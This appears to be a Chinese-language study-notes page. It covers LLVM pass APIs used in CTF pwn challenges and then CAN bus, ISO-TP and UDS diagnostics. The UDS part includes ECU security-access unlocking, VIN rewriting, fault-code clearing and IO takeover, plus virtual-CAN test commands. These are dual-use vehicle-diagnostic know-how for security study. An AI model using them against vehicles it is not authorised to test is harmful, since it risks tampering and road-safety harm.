%269 = add nsw i64 %268, 1024
%270 = add nsw i64 %269, 1024
%271 = add nsw i64 %270, 1024
%272 = add nsw i64 %271, 1024
%273 = add nsw i64 %272, 1024
%274 = add nsw i64 %273, 1024
%275 = add nsw i64 %274, 1024
%276 = add nsw i64 %275, 1024
%277 = add nsw i64 %276, 1024
%278 = add nsw i64 %277, 1024
%279 = add nsw i64 %278, 1024
%280 = add nsw i64 %279, 1024
%281 = add nsw i64 %280, 1024
%282 = add nsw i64 %281, 1024
%283 = add nsw i64 %282, 1024
%284 = add nsw i64 %283, 1024
%285 = add nsw i64 %284, 1024
%286 = add nsw i64 %285, 1024
%287 = add nsw i64 %286, 1024
%288 = add nsw i64 %287, 1024
%289 = add nsw i64 %288, 1024
%290 = add nsw i64 %289, 1024
%291 = add nsw i64 %290, 1024
%292 = add nsw i64 %291, 1024
%293 = add nsw i64 %292, 1024
%294 = add nsw i64 %293, 1024
%295 = add nsw i64 %294, 1024
%296 = add nsw i64 %295, 1024
%297 = add nsw i64 %296, 1024
%298 = add nsw i64 %297, 1024
%299 = add nsw i64 %298, 1024
%300 = add nsw i64 %299, 1024
%301 = add nsw i64 %300, 1024
%302 = add nsw i64 %301, 1024
%303 = add nsw i64 %302, 1024
%304 = add nsw i64 %303, 1024
%305 = add nsw i64 %304, 1024
%306 = add nsw i64 %305, 1024
%307 = add nsw i64 %306, 1024
%308 = add nsw i64 %307, 1024
%309 = add nsw i64 %308, 1024
%310 = add nsw i64 %309, 1024
%311 = add nsw i64 %310, 1024
%312 = add nsw i64 %311, 1024
%313 = add nsw i64 %312, 1024
%314 = add nsw i64 %313, 1024
%315 = add nsw i64 %314, 1024
%316 = add nsw i64 %315, 1024
%317 = add nsw i64 %316, 1024
%318 = add nsw i64 %317, 1024
ret i64 %318
}

attributes #0 = { noinline nounwind optnone uwtable "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"Ubuntu clang version 12.0.0-3ubuntu1~20.04.5"}

常见用法

  1. getName()函数用于获取当前runOnFunction正处理的函数名

  2. 第一个for循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll文件中,不同基本块之间会有换行)遍历,第二个for循环是对每个基本块中的指令遍历

  3. getOpcodeName()函数用于获取指令的操作符的名称,

  4. getNumOperands()用于获取指令的操作数的个数,

  5. getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def

    文件中有对应表,56号对应着Call这个操作符:

  6. getCalledFunction()函数用于获取被调用的函数名称,即当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用BgetCalledFunction()函数就是用于获取此处B函数的名称

  7. getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数

  8. 最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于callinvoke操作符,操作数的数量是实际参数的个数+1(因为将被调用函数本身也当成了操作数)

  9. if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt

  10. static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称

  11. getTerminator()是取基本块中末尾的指令

  12. llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1判断操作数operand是否为常数。

  13. llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1判断操作数operand是否为函数参数。

  14. 自定义函数,类似这种anonymous namespace基本都是出题人自定义的函数,这种是没有去除符号显示出来的。

image-20230831091823396

附录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
//v10 版本
//===-- llvm/Instruction.def - File that describes Instructions -*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file contains descriptions of the various LLVM instructions. This is
// used as a central place for enumerating the different instructions and
// should eventually be the place to put comments about the instructions.
//
//===----------------------------------------------------------------------===//

// NOTE: NO INCLUDE GUARD DESIRED!

// Provide definitions of macros so that users of this file do not have to
// define everything to use it...
//
#ifndef FIRST_TERM_INST
#define FIRST_TERM_INST(num)
#endif
#ifndef HANDLE_TERM_INST
#ifndef HANDLE_INST
#define HANDLE_TERM_INST(num, opcode, Class)
#else
#define HANDLE_TERM_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_TERM_INST
#define LAST_TERM_INST(num)
#endif

#ifndef FIRST_UNARY_INST
#define FIRST_UNARY_INST(num)
#endif
#ifndef HANDLE_UNARY_INST
#ifndef HANDLE_INST
#define HANDLE_UNARY_INST(num, opcode, instclass)
#else
#define HANDLE_UNARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_UNARY_INST
#define LAST_UNARY_INST(num)
#endif

#ifndef FIRST_BINARY_INST
#define FIRST_BINARY_INST(num)
#endif
#ifndef HANDLE_BINARY_INST
#ifndef HANDLE_INST
#define HANDLE_BINARY_INST(num, opcode, instclass)
#else
#define HANDLE_BINARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_BINARY_INST
#define LAST_BINARY_INST(num)
#endif

#ifndef FIRST_MEMORY_INST
#define FIRST_MEMORY_INST(num)
#endif
#ifndef HANDLE_MEMORY_INST
#ifndef HANDLE_INST
#define HANDLE_MEMORY_INST(num, opcode, Class)
#else
#define HANDLE_MEMORY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_MEMORY_INST
#define LAST_MEMORY_INST(num)
#endif

#ifndef FIRST_CAST_INST
#define FIRST_CAST_INST(num)
#endif
#ifndef HANDLE_CAST_INST
#ifndef HANDLE_INST
#define HANDLE_CAST_INST(num, opcode, Class)
#else
#define HANDLE_CAST_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_CAST_INST
#define LAST_CAST_INST(num)
#endif

#ifndef FIRST_FUNCLETPAD_INST
#define FIRST_FUNCLETPAD_INST(num)
#endif
#ifndef HANDLE_FUNCLETPAD_INST
#ifndef HANDLE_INST
#define HANDLE_FUNCLETPAD_INST(num, opcode, Class)
#else
#define HANDLE_FUNCLETPAD_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_FUNCLETPAD_INST
#define LAST_FUNCLETPAD_INST(num)
#endif

#ifndef FIRST_OTHER_INST
#define FIRST_OTHER_INST(num)
#endif
#ifndef HANDLE_OTHER_INST
#ifndef HANDLE_INST
#define HANDLE_OTHER_INST(num, opcode, Class)
#else
#define HANDLE_OTHER_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_OTHER_INST
#define LAST_OTHER_INST(num)
#endif

#ifndef HANDLE_USER_INST
#define HANDLE_USER_INST(num, opc, Class) HANDLE_OTHER_INST(num, opc, Class)
#endif

// Terminator Instructions - These instructions are used to terminate a basic
// block of the program. Every basic block must end with one of these
// instructions for it to be a well formed basic block.
//
FIRST_TERM_INST ( 1)
HANDLE_TERM_INST ( 1, Ret , ReturnInst)
HANDLE_TERM_INST ( 2, Br , BranchInst)
HANDLE_TERM_INST ( 3, Switch , SwitchInst)
HANDLE_TERM_INST ( 4, IndirectBr , IndirectBrInst)
HANDLE_TERM_INST ( 5, Invoke , InvokeInst)
HANDLE_TERM_INST ( 6, Resume , ResumeInst)
HANDLE_TERM_INST ( 7, Unreachable , UnreachableInst)
HANDLE_TERM_INST ( 8, CleanupRet , CleanupReturnInst)
HANDLE_TERM_INST ( 9, CatchRet , CatchReturnInst)
HANDLE_TERM_INST (10, CatchSwitch , CatchSwitchInst)
HANDLE_TERM_INST (11, CallBr , CallBrInst) // A call-site terminator
LAST_TERM_INST (11)

// Standard unary operators...
FIRST_UNARY_INST(12)
HANDLE_UNARY_INST(12, FNeg , UnaryOperator)
LAST_UNARY_INST(12)

// Standard binary operators...
FIRST_BINARY_INST(13)
HANDLE_BINARY_INST(13, Add , BinaryOperator)
HANDLE_BINARY_INST(14, FAdd , BinaryOperator)
HANDLE_BINARY_INST(15, Sub , BinaryOperator)
HANDLE_BINARY_INST(16, FSub , BinaryOperator)
HANDLE_BINARY_INST(17, Mul , BinaryOperator)
HANDLE_BINARY_INST(18, FMul , BinaryOperator)
HANDLE_BINARY_INST(19, UDiv , BinaryOperator)
HANDLE_BINARY_INST(20, SDiv , BinaryOperator)
HANDLE_BINARY_INST(21, FDiv , BinaryOperator)
HANDLE_BINARY_INST(22, URem , BinaryOperator)
HANDLE_BINARY_INST(23, SRem , BinaryOperator)
HANDLE_BINARY_INST(24, FRem , BinaryOperator)

// Logical operators (integer operands)
HANDLE_BINARY_INST(25, Shl , BinaryOperator) // Shift left (logical)
HANDLE_BINARY_INST(26, LShr , BinaryOperator) // Shift right (logical)
HANDLE_BINARY_INST(27, AShr , BinaryOperator) // Shift right (arithmetic)
HANDLE_BINARY_INST(28, And , BinaryOperator)
HANDLE_BINARY_INST(29, Or , BinaryOperator)
HANDLE_BINARY_INST(30, Xor , BinaryOperator)
LAST_BINARY_INST(30)

// Memory operators...
FIRST_MEMORY_INST(31)
HANDLE_MEMORY_INST(31, Alloca, AllocaInst) // Stack management
HANDLE_MEMORY_INST(32, Load , LoadInst ) // Memory manipulation instrs
HANDLE_MEMORY_INST(33, Store , StoreInst )
HANDLE_MEMORY_INST(34, GetElementPtr, GetElementPtrInst)
HANDLE_MEMORY_INST(35, Fence , FenceInst )
HANDLE_MEMORY_INST(36, AtomicCmpXchg , AtomicCmpXchgInst )
HANDLE_MEMORY_INST(37, AtomicRMW , AtomicRMWInst )
LAST_MEMORY_INST(37)

// Cast operators ...
// NOTE: The order matters here because CastInst::isEliminableCastPair
// NOTE: (see Instructions.cpp) encodes a table based on this ordering.
FIRST_CAST_INST(38)
HANDLE_CAST_INST(38, Trunc , TruncInst ) // Truncate integers
HANDLE_CAST_INST(39, ZExt , ZExtInst ) // Zero extend integers
HANDLE_CAST_INST(40, SExt , SExtInst ) // Sign extend integers
HANDLE_CAST_INST(41, FPToUI , FPToUIInst ) // floating point -> UInt
HANDLE_CAST_INST(42, FPToSI , FPToSIInst ) // floating point -> SInt
HANDLE_CAST_INST(43, UIToFP , UIToFPInst ) // UInt -> floating point
HANDLE_CAST_INST(44, SIToFP , SIToFPInst ) // SInt -> floating point
HANDLE_CAST_INST(45, FPTrunc , FPTruncInst ) // Truncate floating point
HANDLE_CAST_INST(46, FPExt , FPExtInst ) // Extend floating point
HANDLE_CAST_INST(47, PtrToInt, PtrToIntInst) // Pointer -> Integer
HANDLE_CAST_INST(48, IntToPtr, IntToPtrInst) // Integer -> Pointer
HANDLE_CAST_INST(49, BitCast , BitCastInst ) // Type cast
HANDLE_CAST_INST(50, AddrSpaceCast, AddrSpaceCastInst) // addrspace cast
LAST_CAST_INST(50)

FIRST_FUNCLETPAD_INST(51)
HANDLE_FUNCLETPAD_INST(51, CleanupPad, CleanupPadInst)
HANDLE_FUNCLETPAD_INST(52, CatchPad , CatchPadInst)
LAST_FUNCLETPAD_INST(52)

// Other operators...
FIRST_OTHER_INST(53)
HANDLE_OTHER_INST(53, ICmp , ICmpInst ) // Integer comparison instruction
HANDLE_OTHER_INST(54, FCmp , FCmpInst ) // Floating point comparison instr.
HANDLE_OTHER_INST(55, PHI , PHINode ) // PHI node instruction
HANDLE_OTHER_INST(56, Call , CallInst ) // Call a function
HANDLE_OTHER_INST(57, Select , SelectInst ) // select instruction
HANDLE_USER_INST (58, UserOp1, Instruction) // May be used internally in a pass
HANDLE_USER_INST (59, UserOp2, Instruction) // Internal to passes only
HANDLE_OTHER_INST(60, VAArg , VAArgInst ) // vaarg instruction
HANDLE_OTHER_INST(61, ExtractElement, ExtractElementInst)// extract from vector
HANDLE_OTHER_INST(62, InsertElement, InsertElementInst) // insert into vector
HANDLE_OTHER_INST(63, ShuffleVector, ShuffleVectorInst) // shuffle two vectors.
HANDLE_OTHER_INST(64, ExtractValue, ExtractValueInst)// extract from aggregate
HANDLE_OTHER_INST(65, InsertValue, InsertValueInst) // insert into aggregate
HANDLE_OTHER_INST(66, LandingPad, LandingPadInst) // Landing pad instruction.
HANDLE_OTHER_INST(67, Freeze, FreezeInst) // Freeze instruction.
LAST_OTHER_INST(67)

#undef FIRST_TERM_INST
#undef HANDLE_TERM_INST
#undef LAST_TERM_INST

#undef FIRST_UNARY_INST
#undef HANDLE_UNARY_INST
#undef LAST_UNARY_INST

#undef FIRST_BINARY_INST
#undef HANDLE_BINARY_INST
#undef LAST_BINARY_INST

#undef FIRST_MEMORY_INST
#undef HANDLE_MEMORY_INST
#undef LAST_MEMORY_INST

#undef FIRST_CAST_INST
#undef HANDLE_CAST_INST
#undef LAST_CAST_INST

#undef FIRST_FUNCLETPAD_INST
#undef HANDLE_FUNCLETPAD_INST
#undef LAST_FUNCLETPAD_INST

#undef FIRST_OTHER_INST
#undef HANDLE_OTHER_INST
#undef LAST_OTHER_INST

#undef HANDLE_USER_INST

#ifdef HANDLE_INST
#undef HANDLE_INST
#endif

参考:

[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com

车联网

CAN总线协议

网络内的节点个数在理论上不受限制,可在各节点之间实现自由通信

1.通信机制

通过高低电压来传输0、1,有两条线可以传输电压信息,分别为CAN高(CAN_H)和CAN低(CAN_L)。

电压 电压
CAN_H 2.5V 3.5V
CAN_L 2.5V 1.5V
传输信号 1(隐式) 0(显式)

差分电压CAN_diff = 0V,表示逻辑“1”,为隐性;

差分电压CAN_diff = 2V,表示逻辑“0”,为显性;

2.帧解析

image-20230706111321971

主要关注数据场。

还有CANFD是基于CAN协议的扩展协议

3.ISO-TP协议

具体协议如下

  • 单帧:数据域地第一个字节的高四位的十六进制值为0时,代表单帧数据。第一个字节的低四位代表数据长度,比如一个CAN帧02 10 01 00 00 00 00 00,即第一个字节为02,高四位为0,代表单帧,低四位为2,代表数据长度为2,即为后面的10 01
  • 首帧:在多帧传输中,数据域的第一个字节的高四位的十六进制值为1时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN10 14 2E F1 90 01 02 03 ,即第一个字节为10,高四位为1,代表这是多帧数据传输的第一帧,低四位为0,加上第二个字节14,那么代表该次多帧传输会传输0x014个字节,后面的2e f1 90 01 02 03即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014个字节数据。
  • 连续帧:在多帧传输中作为首帧的后续帧,数据域的第一个字节的高四位为2,第一个字节的低四位为连续帧的编号。比如一个CAN21 04 05 06 07 08 09 0A,即第一个字节为21,高四位为2,代表这是连续帧,低四位为1,代表这是连续帧中编号为1的连续帧,后面的04 05 06 07 08 09 0a 即为传输的数据。
  • 流控帧:用于调节连续帧发送的速率。流控帧数据域的第一个字节的高四位为3

4.SAE J1979协议

该协议属于应用层协议,对应国标为ISO 15031-5,定义了10种模式

  • 模式01:请求动力系诊断数据,如发动机转速、温度、车速等
  • 模式02:请求冻结帧数据,冻结帧数据时在故障发送和故障码被定义时存储的,用于反映故障发生时的环境信息,便于处理故障。
  • 模式03:请求排放相关的诊断故障码,故障码的定义见ISO 15031-6
  • 模式04:清除/复位与排放相关的诊断信息,即维修后需要清除相关的故障码和冻结帧数据。
  • 模式05:请求氧传感器检测结果,显示氧传感器检测页面和一些测试结果。
  • 模式06:请求指定检测系统的测试结果,除氧传感器外还有其他的比如催化剂系统、蒸发系统等需要进行检测。
  • 模式07:请求排放相关的未决故障码,维修人员通常用这个来确认是否已经正确维修且清除了故障码。
  • 模式08:请求组件/系统的控制操作,具体功能由车辆制造商指定。
  • 模式09:请求车辆信息,比如车厂、型号、品牌、发动机号等。
  • 模式0A:请求排放相关的永久故障码,这类故障码一旦产生就不能清除改写。

比如请求车架号的CAN帧,所属模式为09,信息类型为02,消息长度为02,那么单帧传输,实际请求数据的CAN帧为

02 09 02 00 00 00 00 00

返回的数据为

1
2
3
10 14 49 02 01 31 47 31
21 4a 43 35 34 34 34 52
22 37 32 35 32 33 36 37

其中首帧中49即为针对09的正响应。

5.UDS诊断协议

可参考:ISO 14229_小趴菜_自动驾驶搬砖人的博客-CSDN博客

通过对数据场的各个字节判断来得到相关的指令

image-20230706111731754

  • Tester:代表测试方
  • ECU:代表车机的ECU模块
  • 网络层字节(蓝色块):数据场的第一个字节,被网络层占用,一般不用管
  • SID标识字节:数据场的第二个字节,代表SID(Service Identifier)诊断服务ID,表示服务标识。
    • Tester:比如这里Tester请求0x10服务,代表想进入编程模式。
    • ECU:同样也是在这个字节进行服务反馈,比如Tester请求0x10服务,那么ECU返回的数据场的第二个字节SID就有如下几种表示
      • 肯定:返回[SID+0x40],这里就是0x10+0x40=0x50,代表ECU给出肯定响应,同意进入编程模式
      • 否定:返回[0x7F],然后SID下一个字节表示否定的服务,这里请求的是0x10服务,那么SID下一个字节就会是0x10,表示否定0x10服务,不能进入编程模式。同时SID后两个字节位置会显示NRC否定响应码,即图中红色部分,不同的NRC有不同的含义,完整版请参照ISO14229附录A。
  • 子功能/否定服务SID标识:数据场的第三个字节,在Tester和ECU端有不同的含义
    • Tester:表示子功能服务,比如0x10服务下还具有01 Default默认会话,02 Programming编程会话,03 Extended扩展会话几个子功能,就在这里标识出来。
    • ECU:同样表示整体服务的反馈
      • 肯定:返回正常的子功能表示,比如这里第三行中ECU对第二行中Tester要求的0x10服务下的03子服务进行了肯定反馈。
      • 否定:这个在SID标识字节中进行了介绍,和主服务显示一致。

其他的后续理解

大致的服务如下,主要用到的是具有背景颜色的部分

image-20230706113220550

注:特殊的NRC-0x78,不太懂

6.UDS重点服务

0x10诊断会话服务

Diagnostic Session Control服务

0x10包含3个子功能,01 Default默认会话,02 Programming编程会话,03 Extended扩展会话,ECU上电时,进入的是默认会话(Default),通过会话模式来进行权限控制。当进入一个非默认会话模式,就会有定时器开始计时,一段时间没有请求,时间限制到了就退回到默认会话01。有一个0x3E服务可以使得诊断保持在非默认会话状态。

0x27安全访问

服务流程

ECU当中有很多数据是整车厂独有的,并不希望开放给所有客户,它需要做一个保密的设定。在读取一些特殊数据的时候,要先进行一个安全解锁。ECU上电之后是一个锁定的状态(Locked),通过0x27服务,加上一个子服务,再加上一个钥匙,这样的服务请求可以进行解锁。具体的形式如下,这里的n具体情况具体设置。

未命名绘图.drawio

比如n=1的情况,即2n-1=1,子服务为0x01,如下所示,其中AA~DD即为种子Seed

aaa

具体的例子如下

1
2
3
4
5
6
7
例子:
Tester: 02 27 05 00 00 00 00 00 安全访问,05子功能
ECU: 06 67 05 08 27 11 F0 00 肯定响应,回复了对应安全级别的种子
Tester: 06 27 06 FF FF FF FF 00 发送密钥,4个FF。注意06是与05成对使用的。

ECU: 03 7F 27 78 00 00 00 00 若为否定响应,7F+27+NRC
ECU: 02 67 06 00 00 00 00 00 若为肯定响应,通过安全校验

加密算法

加密算法主要有三个主体:

  • 第一个主体seed,通常与ECU的运行时间有关系,是主料,在27服务发送奇数子功能时回复。seed通常一直在发生变化,无法发现其规律。

  • 第二个主体通常和ECU有关。比如我们先用22服务读取ECU的SN,取其中4个字节,作为“调味料”参与,显然这个“调味料”对于这个ECU来说是不变的,也能通过22服务方便的读取到。

  • 第三个主体是执行次数,就是算法要执行几轮。执行1轮和2轮得到的结果肯定是不一样的

举个简单的算法,比如seed和ECU的SN数据的前4个字节加一下,循环左移两位,执行3轮,return这个数作为key,结束。安全验证就是一把锁,算法越复杂,短时间解开的成本越高,越不易被破解掉。如果失败次数过多还会触发惩罚机制,一段时间内都无法再尝试解锁,防止人为的破解。

0x22读取数据服务

  • Request(请求):22+DID(Data Identifier,通常是两个字节,代表要读取的数据标识符)

  • Response(响应):62+DID+Data(其中Data即为返回的数据)

实际的例子如下

1
2
03 22 F1 86 AA AA AA AA
04 62 F1 86 01 AA AA AA

这里的01即为返回的数据Data

其中DID有一部分已经被ISO 14229-1规定了。比如0xF186就是当前诊断会话数据标识符,0xF187就是车厂备件号数据标识符,0xF188就是车厂ECU软件号码数据ID,0xF189就是车厂ECU软件版本号数据标识符。

0x2E写入数据服务

  • Request(请求):2E+DID+Data
  • Response(响应):6E+DID

协议如下

  • 单帧:数据域地第一个字节的高四位的十六进制值为0时,代表单帧数据。第一个字节的低四位代表数据长度,比如一个CAN帧02 10 01 00 00 00 00 00,即第一个字节为02,高四位为0,代表单帧,低四位为2,代表数据长度为2,即为后面的10 01
  • 首帧:在多帧传输中,数据域的第一个字节的高四位的十六进制值为1时,代表这是多帧数据传输的第一帧,数据域的第一个字节的低四位与第二个字节代表数据帧的长度。比如一个CAN10 14 2E F1 90 01 02 03 ,即第一个字节为10,高四位为1,代表这是多帧数据传输的第一帧,低四位为0,加上第二个字节14,那么代表该次多帧传输会传输0x014个字节,后面的2e f1 90 01 02 03即为传输的有效数据,一直到不为连续帧,中间的即为总的0x014个字节数据。
  • 连续帧:在多帧传输中作为首帧的后续帧,数据域的第一个字节的高四位为2,第一个字节的低四位为连续帧的编号。比如一个CAN21 04 05 06 07 08 09 0A,即第一个字节为21,高四位为2,代表这是连续帧,低四位为1,代表这是连续帧中编号为1的连续帧,后面的04 05 06 07 08 09 0a 即为传输的数据。
  • 流控帧:用于调节连续帧发送的速率。流控帧数据域的第一个字节的高四位为3

实际的例子如下

1
2
3
4
5
10 14 2E F1 90 01 02 03
30 00 0A AA AA AA AA AA
21 04 05 06 07 08 09 0A
22 0B 0C 0D 0E 0F 10 11
03 6E F1 90 AA AA AA AA

总共5个帧,一帧一帧的看

  • 第一帧:10 14 2E F1 90 01 02 03

    • [10 14]:根据ISO15765-2标准0x10代表这是一组多帧中的首帧(属于传输层的信息),一会要发0x14=20个字节的有效数据。

    • [2E F1 90]:2E为写入服务,F190为DID,即为VIN码

    • [01 02 03]:这是将要写入VIN码的数据,为第1字节到第3字节

    代表想将这三个字节写入到VIN码数据,这件事情正常是发生在车辆下线时。

  • 第二帧:30 00 0A AA AA AA AA AA

    • [30 00 0A]:是TP层(传输层)的信息,表示这是一个流控帧,ECU发出的,表示可以一直连续发,但连续帧最短的间隔时间要求是0xA,即为10ms。
  • 第三帧:21 04 05 06 07 08 09 0A

    • [21]:是TP层的信息,表示这是一个连续帧,序号为1。
    • [04 05 06 07 08 09]:这是VIN码的第4字节到第10字节。
  • 第四帧:22 0B 0C 0D 0E 0F 10 11

    • [22]:是TP层的信息,表示这是一个连续帧,序号为2。
    • [0B 0C 0D 0E 0F 10 11]:这是VIN码的第11字节到第17字节。
  • 第五帧:03 6E F1 90 AA AA AA AA

    • [03]:是TP层的信息,这里说的这个TP层的信息是传不到应用层的,即这是一个用完就会抛弃的信息。03的0表示这是一个单帧,3表示后面有3个有效字节。
    • [6E]:6E表示我们确认执行了2E服务的请求,这个请求写入的DID是F1 90,即VIN码。

注:对于0xF190等DID不支持直接写入数据的,需要用0x10服务来进行会话转换。也就是说,对于写数据的请求,一般来说需要在一个扩展会话,和安全等级1的状态下才能进行。

0x19读DTC服务

DTC(diagnostic trouble code):如果系统检测到了一个错误,它将存储为DTC。DTC可表现为:一个显而易见的故障;通讯信号的丢失(不会使故障灯亮起);排放相关的故障;安全相关的错误等。DTC可以揭示错误的位置和错误类型,通常占用3个字节。一个DTC信息占用4个字节。最后一个字节是DTC的状态,不是错误信息的一部分。

image-20230706214204610

  • 第一个字节:在乘用车中,前两个bit代表P/C/B/U(动力Power/底盘Chassis/车身Body/网络Network)中的一个,之后六个bit是数字,合在一起的样子形如”P01”,其中P即为Power,形如用00/01/10/11分别表示P/C/B/U

比如”U31 2345”这个故障码:U就是11,31就是110001,所以第一个字节即为11110001=F1,那么这个DTC就是 F1 23 45 09,其中09表示的是状态掩码。

常用的子服务

19拥有28个子服务(Sub-Function),常用的有:

  • 01 (读取符合掩码条件的DTC数量)(必须支持)

    后面的字节表示DTC状态掩码,若为01表示我想读当前故障,若为08表示我想读历史故障,若为09表示当前故障和历史故障都想读。

    在肯定回复时,帧为59 01 09 01 00 01 XX,组合应该是59(19+40) - 01(子服务) - 09 (本ECU所支持的掩码条件)- 01 DTC的格式(ISO14229-1为01) - 00 01 (目前满足条件的DTC有一个)

  • 02(读取符合掩码条件的DTC列表及其状态)(必须支持),后面的字节表示DTC状态掩码,解读同上。

    肯定回复时,帧为59 02 09 xx xx xx 01,59 - 02(子功能)- 09(本ECU所支持的掩码条件) - XX XX XX ( DTC,车厂定义 ) - 01 (这个故障码怎么了,01表示当前故障)

  • 04(读取快照信息),也叫冻结帧。

  • 06(读取扩展信息)。

  • 0A(读取ECU支持的所有DTC列表及其状态)(必须支持)。这个就不必发DTC状态掩码了。所有支持的DTC列表及其状态都会打印出来。

0x14清除DTC服务

清除(复位)DTC格式,它可以改变DTC的状态。DTC状态中的八个位,除bit4和bit6外均会被清零,包含当前故障(TestFailed)和历史故障(ConfirmedDTC)。bit4和bit6这两个testNotCompleted开头的会被强制置1。3个FF代表清除所有DTC。

Request: 14 FF FF FF AA AA AA

Response:54 AA AA AA AA AA AA

0x2F与IO控制相关服务

该服务可以通过DID(数据标识符)来进行输入信号的替换和控制零部件负载输出,这是一个用在产线上较多的服务。该报文的请求至少由4个字节组成。第一个字节是2F,第二第三字节是DID,其中第二字节是高位。第四字节是input Output Control Parameter(并不算一个子功能),可以看做IO控制类型。

  • 其中IO控制类型分为4类:

    • 00是控制权还给ECU,Return Control To ECU。
    • 01是复位为默认值,Reset to Default。
    • 02是冻结当前的状态,Freeze Current State。
    • 03是短暂接管控制权,Short Term Adjustment。

    若控制类型是00-02这三种,请求报文是4个字节。若控制类型是03,请求报文的第五字节是控制代码,可以是数字量,比如01是开,00是关;也可以是模拟量,比如空调风门的开度。

例子如下

1
2
3
4
5
6
7
8
05 2F DD DD 03 00 AA AA ----03 00代表关闭开关
05 6F DD DD 03 00 AA AA ----ECU的肯定回复
05 2F DD DD 03 01 AA AA ----03 01 代表开启开关
05 6F DD DD 03 01 AA AA ----ECU的肯定回复
04 2F DD DD 00 AA AA AA ----将控制权还给ECU
05 6F DD DD 00 02 AA AA ----ECU的肯定回复
04 2F DD DD 01 AA AA AA ----复位IO为默认值
03 7F 2F 22 AA AA AA AA ----ECU否定回复,不支持

其中DD代表DID(Data Identifier)数据标识符

CAN总线测试

1.总线入口

CAN总线接入口在主驾驶和副驾驶的OBD口中接入;

OBD-II接口一般位于主驾和副驾的前脚下方。可用OBD-II接口信号转接器将信号转接出来,方便后面使用CAN-USB等硬件来选择接入不同的CAN总线

2.虚拟测试

在ubuntu上新建虚拟的CAN口进行测试

1
2
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0

然后使用candump,cansend即可

1
2
candump vcan0
cansend vcan0 7df#0210010000000000

对应的python-can脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import can



def send_can_message(bus, message_id, data):
"""发送CAN报文"""
msg = can.Message(arbitration_id=message_id, data=data, is_extended_id=False)
try:
bus.send(msg)
print(f"Message sent on {bus.channel_info}")
except can.CanError:
print("Message NOT sent")

def receive_can_message(bus, expected_id):
"""接收特定ID的CAN报文"""
while True:
message = bus.recv(10.0) # 等待最多10秒
if message is not None:
if message.arbitration_id == expected_id:
print(f"Received message: {message}")
break
else:
print("Timeout occurred, no message received")
break


def main():
# 配置CAN接口,这需要根据您的CANoe配置来设置
#bus = can.interface.Bus(interface='pcan', channel='PCAN_USBBUS1', bitrate=125000)
bus = can.interface.Bus(interface='socketcan', channel='vcan0', bitrate=125000)
# 发送的CAN报文
send_id = 0x7a0
send_data = [0x02, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00]
send_can_message(bus, send_id, send_data)

# 等待并打印响应报文
receive_id = 0x7a8
receive_can_message(bus, receive_id)

if __name__ == "__main__":
main()

3.测试

(1)工具

将CAN总线与测试工具相连接,然后通过工具的USB口接入电脑

a)CANalyst-II

与该工具匹配的软件是CANPro,需要安装USB_CAN TOOL这款驱动软件,CANpro才能正常运行

b)PCAN-USB

